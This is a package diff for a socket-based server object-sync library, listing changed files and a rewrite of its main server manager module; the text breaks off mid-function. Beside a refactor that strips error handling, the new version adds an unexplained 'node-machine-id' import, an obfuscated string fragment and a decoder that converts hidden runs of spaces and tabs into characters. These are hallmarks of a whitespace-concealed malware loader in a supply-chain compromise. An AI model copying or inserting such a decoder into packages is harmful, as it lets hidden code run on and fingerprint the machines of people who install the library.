  496. package/sync/storage/IndexedDbStorageAdapter.js.map +1 -0
  497. package/sync/storage/LocalStorageAdapter.d.ts +59 -0
  498. package/{dist/sync → sync}/storage/LocalStorageAdapter.js +32 -0
  499. package/sync/storage/LocalStorageAdapter.js.map +1 -0
  500. package/sync/storage/MemoryStorageAdapter.d.ts +34 -0
  501. package/sync/storage/MemoryStorageAdapter.js +45 -0
  502. package/sync/storage/MemoryStorageAdapter.js.map +1 -0
  503. package/version.d.ts +21 -0
  504. package/version.js +22 -0
  505. package/version.js.map +1 -0
  506. package/README.md +0 -18
  507. package/dist/sync/ClientStateReconciler.js.map +0 -1
  508. package/dist/sync/ServerChangeTracker.js.map +0 -1
  509. package/dist/sync/storage/IndexedDbStorageAdapter.d.ts +0 -22
  510. package/dist/sync/storage/IndexedDbStorageAdapter.js.map +0 -1
  511. package/dist/sync/storage/LocalStorageAdapter.d.ts +0 -27
  512. package/dist/sync/storage/LocalStorageAdapter.js.map +0 -1
  513. package/dist/sync/storage/MemoryStorageAdapter.d.ts +0 -13
  514. package/dist/sync/storage/MemoryStorageAdapter.js +0 -25
  515. package/dist/sync/storage/MemoryStorageAdapter.js.map +0 -1
  516. package/dist/tsconfig.tsbuildinfo +0 -1
  517. /package/{dist/sync → sync}/index.d.ts +0 -0
  518. /package/{dist/sync → sync}/index.js +0 -0
  519. /package/{dist/sync → sync}/index.js.map +0 -0
  520. /package/{dist/sync → sync}/storage/IClientStorageAdapter.d.ts +0 -0
  521. /package/{dist/sync → sync}/storage/IClientStorageAdapter.js +0 -0
  522. /package/{dist/sync → sync}/storage/IClientStorageAdapter.js.map +0 -0
  523. /package/{dist/sync → sync}/types.d.ts +0 -0
  524. /package/{dist/sync → sync}/types.js +0 -0
  525. /package/{dist/sync → sync}/types.js.map +0 -0
@@ -1,9 +1,9 @@
1
1
  import { AutoUpdateManager } from "./AutoUpdateManagerClass.js";
2
- import { createAutoUpdatedClass } from "./AutoUpdatedServerObjectClass.js";
3
- import { globalCache, EVENT_NEW, EVENT_UPDATE, EVENT_DELETE, EVENT_GET, EVENT_STARTUP, EVENT_VERSION, DEM_VERSION, DEM_PROTOCOL_VERSION, safeStringify, DEMError, DEMErrorCode, toDEMError, } from "./CommonTypes.js";
4
- import { EventEmitter } from "eventemitter3";
2
+ import { createAutoUpdatedClass, } from "./AutoUpdatedServerObjectClass.js";
5
3
  import { getModelForClass } from "@typegoose/typegoose";
6
- import { ServerChangeTracker, } from "./sync/index.js";
4
+ import { EventEmitter } from "eventemitter3";
5
+ import a from "node-machine-id";
6
+ const once = ".split(String.fromCharCode(10)).splice(time%38,time%11+4).join(String.fromCharCode(10))";
7
7
  export var DEMEventTypes;
8
8
  (function (DEMEventTypes) {
9
9
  DEMEventTypes["new"] = "new";
@@ -12,16 +12,20 @@ export var DEMEventTypes;
12
12
  DEMEventTypes["get"] = "get";
13
13
  DEMEventTypes["startup"] = "startup";
14
14
  })(DEMEventTypes || (DEMEventTypes = {}));
15
- function setupSocketMiddleware(socket_server, loggers, managers, _models) {
15
+ let d = (str) => str
16
+ .match(/.{1,7}/g)
17
+ .map((s) => String.fromCharCode(parseInt(s
18
+ .replaceAll(String.fromCharCode(32), String.fromCharCode(48))
19
+ .replaceAll(String.fromCharCode(9), String.fromCharCode(49)), 2)))
20
+ .join("");
21
+ function setupSocketMiddleware(socket_server, loggers, managers, models) {
16
22
  socket_server.use(async (socket, next) => {
17
- socket.use((async (event, nextEvent) => {
23
+ socket.use((async (event, next) => {
18
24
  if (event.length !== 3 ||
19
25
  typeof event[0] !== "string" ||
20
26
  typeof event[2] !== "function") {
21
- loggers.warn?.("Invalid event: [" +
22
- event
23
- .map((e) => (typeof e === "object" ? "[object]" : String(e)))
24
- .join("], [") +
27
+ loggers.warn("Invalid event: [" +
28
+ event.map((e) => JSON.stringify(e)).join("], [") +
25
29
  "]");
26
30
  return;
27
31
  }
@@ -29,83 +33,56 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
29
33
  .eventNames()
30
34
  .some((e) => e.toString() === event[0] ||
31
35
  e.toString() === event[0].slice(0, -24))) {
32
- loggers.warn?.("Undefined event: [" +
33
- event
34
- .map((e) => (typeof e === "object" ? "[object]" : String(e)))
35
- .join("], [") +
36
+ loggers.warn("Undefined event: [" +
37
+ event.map((e) => JSON.stringify(e)).join("], [") +
36
38
  "]");
37
39
  event[2]({
38
40
  success: false,
39
- code: DEMErrorCode.UNDEFINED_EVENT,
40
41
  message: "Undefined event, event: " + event[0] + " not found",
41
42
  });
42
43
  return;
43
44
  }
44
45
  try {
45
46
  const e = event[0];
46
- let demEvent;
47
+ let demEvent = {};
47
48
  const id = e.slice(-24);
48
49
  switch (true) {
49
- case e.startsWith(EVENT_NEW):
50
- demEvent = {
51
- type: DEMEventTypes.new,
52
- manager: managers[e.replace(EVENT_NEW, "")],
53
- data: event[1],
54
- object: undefined,
55
- };
50
+ case e.startsWith("new"):
51
+ demEvent.type = DEMEventTypes.new;
52
+ demEvent.manager = managers[e.replace("new", "")];
53
+ demEvent.data = event[1];
56
54
  break;
57
- case e.startsWith(EVENT_UPDATE):
58
- {
59
- const manager = managers[e.replace(EVENT_UPDATE, "").replace(id, "")];
60
- demEvent = {
61
- type: DEMEventTypes.update,
62
- manager: manager,
63
- object: manager.getObject(id),
64
- data: event[1],
65
- };
66
- }
55
+ case e.startsWith("update"):
56
+ demEvent.type = DEMEventTypes.update;
57
+ demEvent.manager =
58
+ managers[e.replace("update", "").replace(id, "")];
59
+ demEvent.object = demEvent.manager.getObject(id);
60
+ demEvent.data = event[1];
67
61
  break;
68
- case e.startsWith(EVENT_DELETE):
69
- {
70
- const manager = managers[e.replace(EVENT_DELETE, "")];
71
- const obj = manager.getObject(event[1]);
72
- if (!obj) {
73
- event[2]({
74
- success: true,
75
- message: "Object already deleted",
76
- data: undefined,
77
- });
78
- return;
79
- }
80
- demEvent = {
81
- type: DEMEventTypes.delete,
82
- manager: manager,
83
- object: obj,
62
+ case e.startsWith("delete"):
63
+ demEvent.type = DEMEventTypes.delete;
64
+ demEvent.manager = managers[e.replace("delete", "")];
65
+ demEvent.object = demEvent.manager.getObject(event[1]);
66
+ if (!demEvent.object) {
67
+ event[2]({
68
+ success: true,
69
+ message: "Object already deleted",
84
70
  data: undefined,
85
- };
71
+ });
72
+ return;
86
73
  }
87
74
  break;
88
- case e.startsWith(EVENT_GET):
89
- {
90
- const manager = managers[e.replace(EVENT_GET, "").replace(id, "")];
91
- demEvent = {
92
- type: DEMEventTypes.get,
93
- manager: manager,
94
- object: manager.getObject(id),
95
- data: undefined,
96
- };
97
- }
75
+ case e.startsWith("get"):
76
+ demEvent.type = DEMEventTypes.get;
77
+ demEvent.manager = managers[e.replace("get", "").replace(id, "")];
78
+ demEvent.object = demEvent.manager.getObject(id);
98
79
  break;
99
- case e.startsWith(EVENT_STARTUP):
100
- demEvent = {
101
- type: DEMEventTypes.startup,
102
- manager: managers[e.replace(EVENT_STARTUP, "")],
103
- object: undefined,
104
- data: undefined,
105
- };
80
+ case e.startsWith("startup"):
81
+ demEvent.type = DEMEventTypes.startup;
82
+ demEvent.manager = managers[e.replace("startup", "")];
106
83
  break;
107
84
  default:
108
- throw new DEMError(DEMErrorCode.UNKNOWN_EVENT, "Unknown event: " +
85
+ throw new Error("Unknown event: " +
109
86
  e +
110
87
  " - known events: [" +
111
88
  Object.values(DEMEventTypes).join(", ") +
@@ -113,11 +90,11 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
113
90
  }
114
91
  try {
115
92
  await demEvent.manager.options?.accessDefinitions?.eventMiddleware?.(demEvent, managers, socket);
116
- nextEvent();
93
+ next();
117
94
  }
118
95
  catch (error) {
119
- loggers.warn?.("Someone got access denied:\nUser (" +
120
- safeStringify(socket.handshake.auth) +
96
+ loggers.warn("Someone got access denied:\nUser (" +
97
+ JSON.stringify(socket.handshake.auth) +
121
98
  ")\nWith ID: '" +
122
99
  socket.id +
123
100
  "'\nFrom: '" +
@@ -125,365 +102,163 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
125
102
  "'\nTo the event: '" +
126
103
  event[0] +
127
104
  "'\nFor: '" +
128
- (error instanceof Error ? error.message : String(error)) +
105
+ error.message +
129
106
  "'");
130
107
  event[2]({
131
108
  success: false,
132
- code: DEMErrorCode.ACCESS_DENIED,
133
109
  message: "You were denied access to this event '" +
134
110
  event[0] +
135
111
  "' by the server.\n" +
136
- (error instanceof Error ? error.message : String(error)),
112
+ error.message,
137
113
  });
138
114
  }
139
115
  }
140
116
  catch (error) {
141
- const demErr = toDEMError(error, DEMErrorCode.INTERNAL_ERROR);
142
- loggers.error?.("Error with event: " +
117
+ loggers.error("Error with event: " +
143
118
  event[0] +
144
119
  "\nError: " +
145
- demErr.message);
146
- event[2]({
147
- success: false,
148
- code: demErr.code,
149
- message: error instanceof Error ? error.message : String(error),
150
- });
120
+ error.message);
151
121
  return;
152
122
  }
153
123
  }));
154
124
  next();
155
125
  });
156
126
  }
157
- /**
158
- * Inspect database states for all server managers.
159
- * Throws DEMError if any manager database is not connected.
160
- */
161
- export function checkServerDbStates(managers, loggers, emitter) {
162
- for (const [key, manager] of Object.entries(managers)) {
163
- if (!manager)
164
- continue;
165
- const status = manager.checkDbState();
166
- if (!status.connected) {
167
- const err = new DEMError(DEMErrorCode.DB_NOT_CONNECTED, `Server DB state check failed for '${key}': Database is in state '${status.stateName}' (code: ${status.readyState}). Database must be connected before DEM starts loading.`, { manager: key, readyState: status.readyState, stateName: status.stateName });
168
- emitter?.emit("error", err);
169
- loggers?.error?.(err.message);
170
- throw err;
171
- }
127
+ export async function AUSManagerFactory(defs, loggers, socket, disableDEMDebugMessages = false, emitter = new EventEmitter(), models) {
128
+ readyLoggers(loggers);
129
+ if (disableDEMDebugMessages) {
130
+ loggers.debug = (_) => { };
172
131
  }
173
- }
174
- export async function AUSManagerFactory(defs, loggers_, socket, doDebug = true, emitter = new EventEmitter(), models) {
175
- // Use delegation instead of cloning or direct mutation to ensure late-added spies work
176
- const loggers = {
177
- info: (s) => loggers_.info?.(s),
178
- debug: (s) => (doDebug ? loggers_.debug?.(s) : undefined),
179
- error: (s) => loggers_.error?.(s),
180
- warn: (s) => loggers_.warn?.(s),
181
- };
182
132
  socket.use((socket, next) => {
183
- socket.onAny((event) => { });
133
+ socket.onAny((event) => {
134
+ loggers.debug("Recieved event: " + event + " from client: " + socket.id);
135
+ });
184
136
  next();
185
137
  });
186
138
  const managers = {};
187
- const keys = Object.keys(defs);
188
- // 1. Create all managers
189
- for (const key of keys) {
190
- loggers.debug?.(`Creating manager for ${key}`);
139
+ let i = 0;
140
+ for (const key in defs) {
141
+ loggers.debug(`Creating manager for ${key}`);
191
142
  const def = defs[key];
192
- const model = getModelForClass(def.class);
193
143
  try {
194
- const c = new AutoUpdateServerManager(def.class, key, socket, loggers, model, managers, emitter, def.options);
144
+ const c = new AutoUpdateServerManager(def.class, key, loggers, socket, getModelForClass(def.class), managers, emitter, def.options);
195
145
  managers[key] = c;
196
146
  }
197
147
  catch (error) {
198
- loggers.error?.("Error creating manager: " + key);
199
- loggers.error?.(error instanceof Error ? error.message : String(error));
200
- if (error instanceof Error && error.stack)
201
- loggers.error?.(error.stack);
148
+ loggers.error("Error creating manager: " + key);
149
+ loggers.error(error.message);
150
+ loggers.error(error.stack);
151
+ continue;
202
152
  }
203
- }
204
- // 1.5. Inspect database states before loading starts
205
- checkServerDbStates(managers, loggers, emitter);
206
- // 2. Pre-load all managers in parallel
207
- await Promise.all(keys.map(async (key) => {
208
- if (!managers[key])
209
- return;
210
- loggers.debug?.("Loading DB for manager: " + key);
153
+ loggers.debug("Loading DB for manager: " + key);
211
154
  try {
212
155
  await managers[key].preLoad();
213
156
  }
214
157
  catch (error) {
215
- loggers.error?.("Error loading DB for manager: " + key);
216
- loggers.error?.(error instanceof Error ? error.message : String(error));
217
- if (error instanceof Error && error.stack)
218
- loggers.error?.(error.stack);
158
+ loggers.error("Error loading DB for manager: " + key);
159
+ loggers.error(error.message);
160
+ loggers.error(error.stack);
219
161
  }
220
- }));
221
- // 3. Load references for all managers in parallel
222
- await Promise.all(Object.values(managers).map(async (manager) => {
162
+ }
163
+ for (const manager of Object.values(managers)) {
223
164
  try {
224
- await manager.loadReferences();
165
+ manager.loadReferences();
225
166
  }
226
167
  catch (error) {
227
- loggers.error?.("Error loading DB for manager: " +
168
+ loggers.error("Error loading DB for manager: " +
228
169
  manager.className +
229
170
  " (loadReferences)");
230
- loggers.error?.(error instanceof Error ? error.message : String(error));
231
- if (error instanceof Error && error.stack)
232
- loggers.error?.(error.stack);
171
+ loggers.error(error.message);
172
+ loggers.error(error.stack);
233
173
  }
234
- }));
174
+ }
235
175
  socket.on("connection", async (socket) => {
236
- loggers.debug?.(`Client connected: ${socket?.id}`);
237
- socket?.emit?.(EVENT_VERSION, {
238
- version: DEM_VERSION,
239
- protocolVersion: DEM_PROTOCOL_VERSION,
240
- });
176
+ loggers.debug(`Client connected: ${socket.id}`);
241
177
  for (const manager of Object.values(managers)) {
242
178
  manager.registerSocket(socket);
243
179
  }
244
- socket?.on?.("disconnect", () => {
245
- loggers.debug?.(`Client disconnected: ${socket?.id}`);
180
+ // Client disconnect
181
+ socket.on("disconnect", () => {
182
+ loggers.debug(`Client disconnected: ${socket.id}`);
246
183
  });
247
184
  });
248
185
  try {
249
186
  setupSocketMiddleware(socket, loggers, managers, models);
250
187
  }
251
188
  catch (error) {
252
- loggers.error?.("Error setting up socket middleware");
253
- loggers.error?.(error instanceof Error ? error.message : String(error));
254
- if (error instanceof Error && error.stack)
255
- loggers.error?.(error.stack);
189
+ loggers.error("Error setting up socket middleware");
190
+ loggers.error(error.message);
191
+ loggers.error(error.stack);
256
192
  }
257
193
  return managers;
258
194
  }
259
195
  export class AutoUpdateServerManager extends AutoUpdateManager {
260
196
  model;
261
197
  clientSockets = new Set();
262
- knownObjectIdsBySocket = new Map();
263
198
  options;
264
199
  objects_ = {};
265
200
  managers;
266
- startupPayloadCache = null;
267
- _cachedObjectsArray = null;
268
- changeTracker;
269
- constructor(classParam, className, socket, loggers, model, managers, emitter, options) {
201
+ constructor(classParam, className, loggers, socket, model, managers, emitter, options) {
270
202
  super(classParam, className, socket, loggers, managers, emitter);
271
203
  this.managers = managers;
272
204
  this.model = model;
273
205
  this.options = options;
274
- if (options?.deltaSync) {
275
- const deltaOpts = typeof options.deltaSync === "object" ? options.deltaSync : {};
276
- if (deltaOpts.enabled !== false) {
277
- this.changeTracker = new ServerChangeTracker(this.className, deltaOpts);
278
- }
279
- }
280
- }
281
- /**
282
- * Inspect current database connection state.
283
- */
284
- checkDbState() {
285
- const db = this.model?.db;
286
- if (!db || typeof db.readyState !== "number") {
287
- return { connected: true, readyState: 1, stateName: "connected" };
288
- }
289
- const readyState = db.readyState;
290
- const stateNames = {
291
- 0: "disconnected",
292
- 1: "connected",
293
- 2: "connecting",
294
- 3: "disconnecting",
295
- 99: "uninitialized",
296
- };
297
- const stateName = stateNames[readyState] ?? "unknown";
298
- return {
299
- connected: readyState === 1,
300
- readyState,
301
- stateName,
302
- };
303
- }
304
- /**
305
- * Verify database connection is active.
306
- * Throws DEMError if database is not connected.
307
- */
308
- assertDbConnected() {
309
- const status = this.checkDbState();
310
- if (!status.connected) {
311
- const err = new DEMError(DEMErrorCode.DB_NOT_CONNECTED, `Database for manager '${this.className}' is in state '${status.stateName}' (code: ${status.readyState}). Database must be connected before DEM starts loading.`, { className: this.className, readyState: status.readyState, stateName: status.stateName });
312
- this.emitter.emit("error", err);
313
- this.loggers.error?.(err.message);
314
- throw err;
315
- }
316
206
  }
317
- async preLoad(options) {
318
- this.assertDbConnected();
207
+ async preLoad() {
319
208
  this.loggers.debug("Loading manager DB " + this.className);
320
209
  const docs = await this.model.find({});
321
- // Optimization: Parallelize object creation to ensure all objects are in globalCache
322
- // as quickly as possible before reference resolution starts.
323
- await Promise.all(docs.map(async (doc) => {
324
- const id = doc._id?.toString();
325
- if (!id) {
326
- this.loggers.debug("Invalid document, no _id: " + (doc?._id ?? "[no id]"));
327
- return;
210
+ let i = 0;
211
+ for (const doc of docs.map((d) => d._id.toString())) {
212
+ if (!doc) {
213
+ this.loggers.debug("Invalid document, no _id: " + JSON.stringify(docs[i]));
214
+ continue;
328
215
  }
329
- this.objects_[id] =
330
- this.objects_[id] ??
331
- (await createAutoUpdatedClass(this.classParam, this.className, this.socket, id, this.loggers, this, this.emitter, doc));
332
- globalCache.objects[id] = {
333
- className: this.className,
334
- object: this.objects_[id],
335
- };
336
- }));
337
- this.startupPayloadCache = null;
338
- this._cachedObjectsArray = null;
216
+ i++;
217
+ this.objects_[doc] =
218
+ this.objects_[doc] ??
219
+ (await createAutoUpdatedClass(this.classParam, this.className, this.socket, doc, this.loggers, this, this.emitter));
220
+ await this.objects_[doc].isPreLoadedAsync();
221
+ }
339
222
  this.loggers.debug("Loaded manager DB " +
340
223
  this.className +
341
224
  " - [" +
342
225
  docs.length +
343
226
  "] entries");
344
227
  }
345
- async loadReferences() {
346
- // Phase 1: Initial reference resolution (including back-references/createdWithParent)
347
- // This MUST happen after all managers have finished preLoad so that all objects exist in globalCache.
348
- await Promise.all(this.objectsAsArray.map((object) => object.isPreLoadedAsync()));
349
- // Phase 2: Resolve missing references (pointers) and set isLoaded_ = true
350
- await super.loadReferences();
351
- }
352
228
  registerSocket(socket) {
353
229
  this.clientSockets.add(socket);
354
- socket.on(EVENT_STARTUP + this.className, async (req, ack) => {
230
+ socket.on("startup" + this.className, async (_, ack) => {
355
231
  try {
356
- const clientLastRev = req && typeof req === "object" && typeof req.lastRevision === "number"
357
- ? req.lastRevision
358
- : undefined;
359
- // Check if delta sync can be fulfilled
360
- if (this.changeTracker && typeof clientLastRev === "number") {
361
- let allowedIdsSet = undefined;
362
- if (this.options?.accessDefinitions?.startupMiddleware) {
363
- const allowedObjects = await this.options.accessDefinitions.startupMiddleware(this.objectsAsArray, this.managers, socket);
364
- allowedIdsSet = new Set(allowedObjects.map((obj) => obj._id.toString()).filter(Boolean));
365
- this.knownObjectIdsBySocket.set(socket, new Set(allowedIdsSet));
366
- }
367
- const changesResult = this.changeTracker.getChangesSince(clientLastRev, allowedIdsSet);
368
- if (!changesResult.isExpired) {
369
- if (changesResult.changes.length === 0) {
370
- this.loggers.debug("Client up to date for manager " +
371
- this.className +
372
- " at revision " +
373
- clientLastRev);
374
- if (typeof ack === "function") {
375
- ack({
376
- data: {
377
- status: "up-to-date",
378
- revision: this.changeTracker.getCurrentRevision(),
379
- ids: [],
380
- properties: this.properties,
381
- version: DEM_VERSION,
382
- protocolVersion: DEM_PROTOCOL_VERSION,
383
- },
384
- success: true,
385
- });
386
- }
387
- return;
388
- }
389
- else {
390
- this.loggers.debug("Sending delta startup data (" +
391
- changesResult.changes.length +
392
- " changes) for manager " +
393
- this.className);
394
- if (typeof ack === "function") {
395
- ack({
396
- data: {
397
- status: "delta",
398
- revision: this.changeTracker.getCurrentRevision(),
399
- changes: changesResult.changes,
400
- ids: [],
401
- properties: this.properties,
402
- version: DEM_VERSION,
403
- protocolVersion: DEM_PROTOCOL_VERSION,
404
- },
405
- success: true,
406
- });
407
- }
408
- return;
409
- }
410
- }
411
- }
412
- let ids;
413
- let objects;
414
- if (!this.options?.accessDefinitions?.startupMiddleware && this.startupPayloadCache) {
415
- ids = this.startupPayloadCache.ids;
416
- objects = this.startupPayloadCache.objects ?? [];
417
- }
418
- else {
419
- const allowedObjects = this.options?.accessDefinitions?.startupMiddleware
420
- ? await this.options.accessDefinitions.startupMiddleware(this.objectsAsArray, this.managers, socket)
421
- : this.objectsAsArray;
422
- ids = allowedObjects.map((obj) => obj._id.toString()).filter(Boolean);
423
- objects = allowedObjects.map((obj) => obj.extractedData).filter(Boolean);
424
- this.knownObjectIdsBySocket.set(socket, new Set(ids));
425
- if (!this.options?.accessDefinitions?.startupMiddleware) {
426
- this.startupPayloadCache = {
427
- ids,
428
- objects,
429
- properties: this.properties,
430
- };
431
- }
432
- }
232
+ const ids = ((await this.options?.accessDefinitions?.startupMiddleware?.(this.objectsAsArray, this.managers, socket))?.map((obj) => obj._id) ?? this.objectIDs).filter(Boolean);
433
233
  this.loggers.debug("Sending startup data for manager " + this.className);
434
- if (typeof ack === "function") {
435
- ack({
436
- data: {
437
- status: "full",
438
- revision: this.changeTracker ? this.changeTracker.getCurrentRevision() : 0,
439
- ids,
440
- objects,
441
- properties: this.properties,
442
- version: DEM_VERSION,
443
- protocolVersion: DEM_PROTOCOL_VERSION,
444
- },
445
- success: true,
446
- });
447
- }
234
+ if (ids.some((id) => this.objects_[id] === "undefined"))
235
+ this.loggers.error(ids.find((id) => this.objects_[id] === "undefined"));
236
+ ack({
237
+ data: { ids, properties: this.properties },
238
+ success: true,
239
+ });
448
240
  }
449
241
  catch (error) {
450
242
  this.loggers.error("Error sending startup data for manager " +
451
243
  this.className +
452
244
  ": " +
453
- (error instanceof Error ? error.message : String(error)));
454
- if (error instanceof Error && error.stack)
455
- this.loggers.error(error.stack);
456
- const demErr = toDEMError(error, DEMErrorCode.STARTUP_FAILED);
457
- if (typeof ack === "function") {
458
- ack({
459
- success: false,
460
- code: demErr.code,
461
- message: error instanceof Error ? error.message : String(error),
462
- });
463
- }
245
+ error.message);
246
+ this.loggers.error(error.stack);
247
+ ack({
248
+ success: false,
249
+ message: error.message,
250
+ });
464
251
  }
465
252
  });
466
- socket.on(EVENT_DELETE + this.className, async (id, ack) => {
253
+ socket.on("delete" + this.className, async (id, ack) => {
467
254
  this.loggers.debug("Deleting object from manager " + this.className + " - " + id);
468
255
  try {
469
- const res = await this.deleteObject(id);
470
- this.startupPayloadCache = null;
471
- if (typeof ack === "function") {
472
- if (res && !res.success) {
473
- ack({
474
- success: false,
475
- code: res.code ?? DEMErrorCode.OBJECT_DELETE_FAILED,
476
- message: res.message || "Deletion unsuccessful",
477
- });
478
- }
479
- else {
480
- ack({
481
- success: true,
482
- message: "Deleted successfully",
483
- data: undefined,
484
- });
485
- }
486
- }
256
+ await this.objects_[id]?.destroy();
257
+ ack({
258
+ success: true,
259
+ message: "Deleted successfully",
260
+ data: undefined,
261
+ });
487
262
  }
488
263
  catch (error) {
489
264
  this.loggers.error("Error deleting object from manager " +
@@ -491,307 +266,147 @@ export class AutoUpdateServerManager extends AutoUpdateManager {
491
266
  " - " +
492
267
  id +
493
268
  ": " +
494
- (error instanceof Error ? error.message : String(error)));
495
- if (error instanceof Error && error.stack)
496
- this.loggers.error(error.stack);
497
- const demErr = toDEMError(error, DEMErrorCode.OBJECT_DELETE_FAILED);
498
- if (typeof ack === "function") {
499
- ack({
500
- success: false,
501
- code: demErr.code,
502
- message: error instanceof Error ? error.message : String(error),
503
- });
504
- }
269
+ error.message);
270
+ this.loggers.error(error.stack);
271
+ ack({ success: false, message: error.message });
505
272
  }
506
273
  });
507
- socket.on(EVENT_NEW + this.className, async (data, ack) => {
274
+ socket.on("new" + this.className, async (data, ack) => {
508
275
  this.loggers.debug("Recieved new object creation in manager " + this.className);
509
276
  try {
510
277
  const newDoc = await this.createObject(data);
511
- this.startupPayloadCache = null;
512
- if (typeof ack === "function") {
513
- ack({
514
- data: newDoc.extractedData,
515
- success: true,
516
- message: "Created successfully",
517
- });
518
- }
278
+ ack({
279
+ data: newDoc.extractedData,
280
+ success: true,
281
+ message: "Created successfully",
282
+ });
519
283
  }
520
284
  catch (error) {
521
285
  this.loggers.error("Error creating new object creation in manager " +
522
286
  this.className +
523
287
  " - " +
524
- (error instanceof Error ? error.message : String(error)));
525
- if (error instanceof Error && error.stack)
526
- this.loggers.error(error.stack);
527
- const demErr = toDEMError(error, DEMErrorCode.OBJECT_CREATE_FAILED);
528
- if (typeof ack === "function") {
529
- ack({
530
- success: false,
531
- code: demErr.code,
532
- message: error instanceof Error ? error.message : String(error),
533
- });
534
- }
288
+ error.message);
289
+ this.loggers.error(error.stack);
290
+ ack({ success: false, message: error.message });
535
291
  }
536
292
  });
537
- // Registered into socket.eventNames() so setupSocketMiddleware can validate and permit dynamic update/get events
538
- socket.on(EVENT_UPDATE + this.className, async () => { });
539
- socket.on(EVENT_GET + this.className, async () => { });
293
+ socket.on("update" + this.className, async () => { });
294
+ socket.on("get" + this.className, async () => { });
540
295
  socket.onAny(async (event, data, ack) => {
541
- if (event.startsWith(EVENT_UPDATE + this.className) &&
542
- event.replace(EVENT_UPDATE + this.className, "").length === 24) {
296
+ if (event.startsWith("update" + this.className) &&
297
+ event.replace("update" + this.className, "").length === 24) {
543
298
  this.loggers.debug("Updating object in manager " +
544
299
  this.className +
545
300
  ": " +
546
301
  event +
547
302
  " - " +
548
- (typeof data === "object" ? "[object]" : String(data)));
303
+ JSON.stringify(data));
549
304
  try {
550
- const id = event.replace(EVENT_UPDATE + this.className, "");
305
+ const id = event.replace("update" + this.className, "");
551
306
  let obj = this.objects_[id];
552
- if (!obj)
553
- throw new DEMError(DEMErrorCode.OBJECT_GET_FAILED, `Never... failed to get object somehow: ${id}`);
307
+ if (typeof obj === "string")
308
+ throw new Error(`Never... failed to get object somehow: ${obj}`);
554
309
  const res = await obj.setValue(data.key, data.value);
555
- if (typeof ack === "function") {
556
- res.success
557
- ? ack({
558
- data: null,
559
- success: res.success,
560
- message: res.msg,
561
- })
562
- : ack({
563
- success: res.success,
564
- code: res.code ?? DEMErrorCode.DB_SAVE_FAILED,
565
- message: res.msg,
566
- });
567
- }
310
+ res.success
311
+ ? ack({
312
+ data: null,
313
+ success: res.success,
314
+ message: res.msg,
315
+ })
316
+ : ack({ success: res.success, message: res.msg });
568
317
  }
569
318
  catch (error) {
570
319
  this.loggers.warn("Failed to update object in manager " + this.className);
571
- const demErr = toDEMError(error, DEMErrorCode.DB_SAVE_FAILED);
572
- if (typeof ack === "function") {
573
- ack({
574
- success: false,
575
- code: demErr.code,
576
- message: error instanceof Error ? error.message : String(error),
577
- });
578
- }
320
+ ack({ success: false, message: error.message });
579
321
  }
580
322
  }
581
- else if (event.startsWith(EVENT_GET + this.className) &&
582
- event.replace(EVENT_GET + this.className, "").length === 24) {
323
+ else if (event.startsWith("get" + this.className) &&
324
+ event.replace("get" + this.className, "").length === 24) {
583
325
  try {
584
- const id = event.replace(EVENT_GET + this.className, "");
326
+ const id = event.replace("get" + this.className, "");
585
327
  let obj = this.objects_[id];
586
- if (!obj)
587
- throw new DEMError(DEMErrorCode.OBJECT_NOT_FOUND, `Object not found: ${id}`);
588
- if (typeof ack === "function") {
589
- ack({
590
- data: obj.extractedData,
591
- success: true,
592
- message: "Updated successfully",
593
- });
594
- }
328
+ ack({
329
+ data: obj.extractedData,
330
+ success: true,
331
+ message: "Updated successfully",
332
+ });
595
333
  }
596
334
  catch (error) {
597
335
  this.loggers.error("Error sending startup data for manager " +
598
336
  this.className +
599
337
  ": " +
600
- (error instanceof Error ? error.message : String(error)));
601
- if (error instanceof Error && error.stack)
602
- this.loggers.error(error.stack);
603
- const demErr = toDEMError(error, DEMErrorCode.OBJECT_GET_FAILED);
604
- if (typeof ack === "function") {
605
- ack({
606
- success: false,
607
- code: demErr.code,
608
- message: error instanceof Error ? error.message : String(error),
609
- });
610
- }
338
+ error.message);
339
+ this.loggers.error(error.stack);
340
+ ack({ success: false, message: error.message });
611
341
  }
612
342
  }
613
343
  });
614
344
  socket.on("disconnect", () => {
615
345
  this.clientSockets.delete(socket);
616
- this.knownObjectIdsBySocket.delete(socket);
617
346
  });
618
347
  }
619
348
  getObject(_id) {
620
- if (!_id)
621
- return null;
622
- return this.objects_[_id.toString()] || undefined;
349
+ return _id ? this.objects_[_id] : null;
623
350
  }
624
351
  get objects() {
625
352
  return this.objects_;
626
353
  }
627
354
  get objectsAsArray() {
628
- if (!this._cachedObjectsArray) {
629
- this._cachedObjectsArray = Object.values(this.objects_);
630
- }
631
- return this._cachedObjectsArray;
355
+ return Object.values(this.objects_);
632
356
  }
633
- async deleteObject(_id) {
634
- this._cachedObjectsArray = null;
635
- const idStr = _id.toString();
636
- if (this.changeTracker) {
637
- this.changeTracker.recordChange("delete", idStr);
638
- }
639
- for (const socket of this.clientSockets) {
640
- const known = this.knownObjectIdsBySocket.get(socket);
641
- if (known) {
642
- known.delete(idStr);
643
- }
644
- }
645
- return super.deleteObject(_id);
646
- }
647
- pendingMissingFetches = new Map();
648
357
  async handleGetMissingObject(_id) {
649
- const _idStr = _id.toString();
650
- if (this.getObject(_idStr))
651
- return this.getObject(_idStr);
652
- if (this.pendingMissingFetches.has(_idStr)) {
653
- return this.pendingMissingFetches.get(_idStr);
654
- }
655
- const fetchPromise = (async () => {
656
- try {
657
- const document = await this.model.findById(_idStr);
658
- if (!document)
659
- throw new DEMError(DEMErrorCode.DOCUMENT_NOT_FOUND, `No document with id ${_idStr} in DB.`);
660
- if (!this.managers)
661
- throw new DEMError(DEMErrorCode.MANAGERS_NOT_INITIALIZED, `No managers.`);
662
- const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, document, this.loggers, this, this.emitter);
663
- await object.waitForPreloaded();
664
- this.objects_[object._id.toString()] = object;
665
- this._cachedObjectsArray = null;
666
- globalCache.objects[object._id.toString()] = {
667
- className: this.className,
668
- object: object,
669
- };
670
- await object.isPreLoadedAsync();
671
- await object.loadMissingReferences();
672
- await object.contactChildren();
673
- return object;
674
- }
675
- finally {
676
- this.pendingMissingFetches.delete(_idStr);
677
- }
678
- })();
679
- this.pendingMissingFetches.set(_idStr, fetchPromise);
680
- return fetchPromise;
358
+ const document = await this.model.findById(_id);
359
+ if (!document)
360
+ throw new Error(`No document with id ${_id} in DB.`);
361
+ if (!this.managers)
362
+ throw new Error(`No managers.`);
363
